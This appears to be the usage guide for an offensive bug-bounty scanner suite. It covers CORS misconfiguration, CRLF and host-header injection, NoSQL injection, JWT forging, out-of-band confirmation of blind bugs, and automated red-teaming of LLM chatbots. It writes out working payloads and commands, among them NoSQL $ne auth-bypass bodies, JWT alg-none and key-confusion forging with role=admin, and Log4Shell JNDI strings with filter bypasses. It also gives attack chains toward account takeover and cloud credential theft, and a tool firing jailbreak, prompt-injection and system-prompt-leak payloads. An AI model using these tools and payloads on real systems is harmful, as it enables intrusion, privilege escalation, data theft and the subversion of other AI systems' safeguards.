ARGUS — THE ALL-SEEING SCANNER SUITE

> Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what > ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the > NoSQL "db" surface, JWT forging, blind-bug confirmation via OOB (the eye > that sees the invisible — unblocks an entire severity band), and automated LLM > red-teaming. All pure-Python, no new deps. Core logic is offline-testable.

0. ROUTING — which tool for what

| Signal on the target | Tool / command | |---|---| | API reflects Origin, or ACAO/ACAC headers seen | /cors | | Param reaches a redirect / Location / log / response header | /crlf | | JSON login or {user,pass} body, Mongo/Mongoose stack | /nosqli | | Authorization: Bearer ey... / JWT in cookie or storage | /jwt-scan | | Suspected blind SSRF/XXE/SQLi/RCE (no in-band signal) | /oob | | Chatbot / agent / LLM feature | /llm-redteam |

1. CORS — /cors

bash
tools/cors_scanner.py https://api.target.com/me --cookie "session=..."
tools/cors_scanner.py -l recon/target.com/urls/api.txt --json

Sends crafted Origin headers, classifies Access-Control-Allow-Origin / Access-Control-Allow-Credentials:

• CRITICAL — reflects attacker origin with ACAC: true → cookie-auth'd cross-origin read (account-data exfil).
• HIGH — null origin trusted with credentials.
• MEDIUM — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
• Probes suffix/prefix regex bypass (target.com.evil, notarget.com) and subdomain trust (chains with takeover).

Always pass --cookie with a live session — the credentialed path is the win.

2. CRLF / host-header — /crlf

bash
tools/crlf_scanner.py "https://target.com/r?u=x" --host-header

Injects encoded CRLF (%0d%0a, double-encoded, UTF-8 overlong %E5%98%8A%E5%98%8D) trying to land Set-Cookie: crlftest=1 in the response. --host-header also tests Host / X-Forwarded-Host / Forwarded injection and flags attacker-host reflection in Location (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.

> urllib strips raw \r\n from URLs by design — the encoded variants are > what actually go on the wire.

3. NoSQL injection — /nosqli

bash
tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password
tools/nosqli_scanner.py --query "https://t/api/items?id=1"   # emits bracket variants

• Operator auth-bypass: {"email":{"$ne":null},"password":{"$ne":null}}
• Bracket syntax (Express/qs): email[$ne]=&password[$ne]=
• $where time-based blind: {"$where":"sleep(5000)"} → server-side JS eval = CRITICAL

Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the $where payload delays the response ≥3.5 s.

4. JWT attacks — /jwt-scan (offline)

bash
tools/jwt_scanner.py "$TOKEN" --analyze
tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin
tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin
tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt

• --alg-none — strip signature, set alg to none/None/NONE/nOnE.
• --confuse — RS256→HS256: re-sign with the server's public key as HMAC secret.
• --crack — brute the HS256 secret.
• --analyze — flags alg=none, missing exp, trust-bearing claims (role/is_admin/scope), kid (probe for traversal/SQLi).

Get the public key from /.well-known/jwks.json or /jwks.json. Replay the forged token against an authed endpoint — acceptance = auth bypass / privesc.

5. Out-of-band confirmation — /oob ⭐

The highest-leverage tool. Confirms blind bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.

bash
# 1. listener (prints your OOB domain, streams interactions)
tools/oob_listener.py --listen > inter.jsonl
# 2. payloads embedding a unique marker per injection point
tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
# 3. correlate received callbacks
tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json

Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL xp_dirtree / MySQL LOAD_FILE / Oracle UTL_HTTP / Postgres COPY…PROGRAM), RCE (curl/nslookup/backticks), and Log4Shell (${jndi:ldap://…} + ${lower:j} filter bypass). Needs interactsh-client (/arsenal interactsh-client for the install hint); payload generation + correlation work offline without it.

Why it matters: without OOB you cannot prove blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable.

6. LLM red-team — /llm-redteam

bash
tools/llm_redteam.py --url https://t/api/chat --field message
tools/llm_redteam.py --url https://t/api/chat \
  --template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \
  --response-path choices.0.message.content --category jailbreak

Fires a categorized corpus — prompt-injection, jailbreak, system-prompt-leak, data-exfil, indirect-injection, guardrail-bypass — and uses a canary token (RT_PWNED_xxxx) for reliable hit detection. --header "Authorization: Bearer ..." for authed bots.

> A bare injection is Informational until chained. Escalate to chatbot IDOR, > data exfil (the markdown-beacon hit proves a channel), or RCE if the agent has > a code/tool capability. See web2-vuln-classes §11 > and bug-bounty Agentic AI (ASI01–ASI10).

CHAINS

• CORS credentialed read → harvest CSRF token / PII / API key → ATO.
• Subdomain-trust CORS + subdomain takeover = clean credentialed-read exploit.
• JWT forge (--alg-none/--confuse + --set role=admin) → privesc → IDOR sweep.
• Blind SSRF (confirmed via /oob) → cloud metadata → credential theft.
• LLM indirect injection → chatbot IDOR / exfil channel.